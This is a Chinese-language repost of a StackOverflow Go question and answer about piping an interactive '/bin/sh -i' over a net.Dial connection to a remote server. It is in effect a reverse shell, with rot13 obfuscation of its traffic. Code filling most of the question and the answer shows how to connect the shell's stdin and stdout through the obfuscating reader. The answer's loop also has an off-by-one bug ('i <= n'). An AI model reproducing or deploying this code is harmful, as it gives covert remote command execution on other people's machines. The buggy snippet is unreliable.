登录
首页 >  Golang >  Go问答

如何捕获stdin的字节

来源:stackoverflow

时间:2024-03-04 19:09:29 292浏览 收藏

一分耕耘,一分收获!既然打开了这篇文章《如何捕获stdin的字节》,就坚持看下去吧!文中内容包含等等知识点...希望你能在阅读本文后,能真真实实学到知识或者帮你解决心中的疑惑,也欢迎大佬或者新人朋友们多留言评论,多给建议!谢谢!

问题内容

目标:我想捕获cmd.stdin的所有字节并使用这个 rot13 函数处理它们:https://play.golang.org/p /vx2pwaiqhmt

故事:我正在编写一个小工具,它将针对 win/linux 进行交叉编译,因此我试图使其尽可能简单。该工具连接到服务器,我可以从该服务器在客户端上执行命令。

由于我必须对 cmd.stdout 做同样的事情,所以我使用了这个:

.......
conn, err := net.dial(nobj.type, nobj.tcpindirizzo)

......

cmd := exec.command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** 
//***shell***, and not just a simple command
                                        
cmd.stdin = conn

cmdstdout, err := cmd.stdoutpipe() // works fine
    if err != nil {
    fmt.fprintf(os.stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.stderr = conn

err = cmd.start()
    if err != nil {
        fmt.fprintf(os.stderr, "error starting shell: %s\n", err)
    }
.....
err = obfprocessstream(cmdstdout, conn) // works fine
....

obfprocessstream 函数基于此:https://play.golang.org/p/j_tkzwuhgak。这里一切正常。

因此,我尝试为 cmd.stdin 复制相同的内容:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") 
                                        
cmdStdin, err := cmd.StdinPipe() 
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)

}

cmdStdout, err := cmd.StdoutPipe()
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }

.....
err = INOBFprocessStream(cmdStdin, conn)
....

.....
err = OBFprocessStream(cmdStdout, conn)
....

但是.. cmdstdin 是一个 io.writercloser,我真的不知道如何捕获字节 segihosegoihszrhoiò

你能帮我吗?


正确答案


看来您真正想要的是从 conn 读取数据,用 rot13 过滤它,然后将其传递给 cmd.Stdin (它接受 io.reader)。

您的 rot13reader 已经实现了 io.Reader

type rot13reader struct {
    r io.reader
}

func (r13 *rot13reader) read(b []byte) (int, error) {
    n, err := r13.r.read(b)
    for i := 0; i <= n; i++ {
        b[i] = rot13(b[i])
    }
    return n, err
}

因此,一个快速的解决方案可以是从中构建一个小型过滤器链,如下所示:

cmd.Stdin = &rot13Reader{conn}

今天关于《如何捕获stdin的字节》的内容就介绍到这里了,是不是学起来一目了然!想要了解更多关于的内容请关注golang学习网公众号!

声明:本文转载于:stackoverflow 如有侵犯,请联系study_golang@163.com删除
相关阅读
更多>
最新阅读
更多>
课程推荐
更多>